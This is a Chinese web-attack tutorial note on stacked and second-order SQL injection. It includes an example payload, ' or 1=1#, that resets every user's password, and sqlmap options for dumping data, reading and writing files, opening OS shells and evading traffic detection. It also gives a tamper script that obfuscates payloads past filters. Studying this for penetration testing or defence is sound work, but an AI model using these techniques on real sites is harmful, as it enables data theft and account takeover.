➢ WEB攻防-SQL注入-堆叠注入&二次注入
➢ WEB攻防-SQL注入-SQLMAP&Tamper使用
一、堆叠注入
堆叠注入触发的条件很苛刻,因为堆叠注入原理就是通过结束符同时执行多条sql语句,例如php中的mysqli_multi_query函数。与之相对应的mysqli_query()只能执行一条SQL,所以要想目标存在堆叠注入,在目标主机存在类似于mysqli_multi_query()这样的函数,根据数据库类型决定是否支持多条语句执行.
1、目标存在sql注入漏洞
2、目标未对”;”号进行过滤
3、目标中间层查询数据库信息时可同时执行多条sql语句
支持堆叠数据库:MYSQL MSSQL Postgresql等
二、二次注入
原理:注册(写入payload)-登录后修改-修改时以当前用户名为条件触发

黑盒思路:分析功能有添加后对数据操作的地方(功能点)
白盒思路:insert后进入select或update的功能的代码块
注入条件:插入时有转义函数或配置,后续有利用插入的数据
案例:
一个网站有一个注册接口,我们在注册的时候把用户名设置为’ or 1=1#,登录后我们对密码进行更改,密码更改sql:update user set password=’xxx’ where username=’用户名’,把我们恶意的名字带入含义就是把所有用户的密码都修改了
三、SqlMap使用
参考:https://www.cnblogs.com/bmjoker/p/9326258.html
1、数据猜解-库表列数据&字典
测试:常规数据获取
–current-db 获取当前数据库名字
–tables -D “” 数据库下所有的表
–columns -T “” -D “” 数据库下某表的所有字段
–dump -C “” -T “” -D “”
2、权限操作-文件&命令&交互式
测试:高权限操作
引出权限:
–is-dba 是否为数据库管理员 –privileges 查看权限
引出文件:
–file-read 读文件 –file-write 写文件 –file-dest 要写入文件的绝对路径
引出命令:
–os-cmd= 执行系统命令 –os-shell 系统交互shell –sql-shell 数据库交互shell
3、提交方法-POST&HEAD&JSON
测试:Post Cookie Json等
–data “” post请求
–cookie “” Cookie注入
-r 1.txt 最推荐这个最方便最全面
4、绕过模块-Tamper脚本-使用&开发
测试:base64+json注入&再加有过滤的注入
–tamper=base64encode.py
–tamper=test.py
temper编写(应对案例的过滤):
from lib.core.convertimport encodeBase64
from lib.core.enums import PRIORITY
priority = PRIORITY.LOW
def dependencies():
pass
def tamper(payload,**kwargs):
if payload:
payload = payload.replace(‘SELECT’,’sElEct’)
payload = payload.replace(‘select’,’sElEct’)
payload = payload.replace(‘OR’,’Or’)
payload = payload.replace(‘or’,’Or’)
payload = payload.replace(‘AND’,’And’)
payload = payload.replace(‘and’,’And’)
payload = payload.replace(‘XOR’,’xOr’)
payload = payload.replace(‘xor’,’xOr’)
payload = payload.replace(‘SLEEP’,’SleeP’)
payload = payload.replace(‘sleep’,’SleeP’)
payload = payload.replace(‘ELT’,’Elt’)
return encodeBase64(payload,binary=False)if payload else payload
对应到具体实战场景,可以让ai编写,也可以自己了解一下脚本格式自行编写
5、分析拓展-代理&调试&指纹&风险&等级
a、后期分析调试:
-v=(0-6)#详细的等级(0-6)
–proxy “http://xx:xx“ #代理注入
b、打乱默认指纹:
绕过流量设备识别sqlmap
–user-agent “” #自定义user-agent
–random-agent #随机user-agent
–time-sec=(2,5) #延迟响应,默认为5
c、使用更多的测试:测试Header注入
–level=(1-5) #要执行的测试水平等级,默认为1
–risk=(0-3) #测试执行的风险等级,默认为1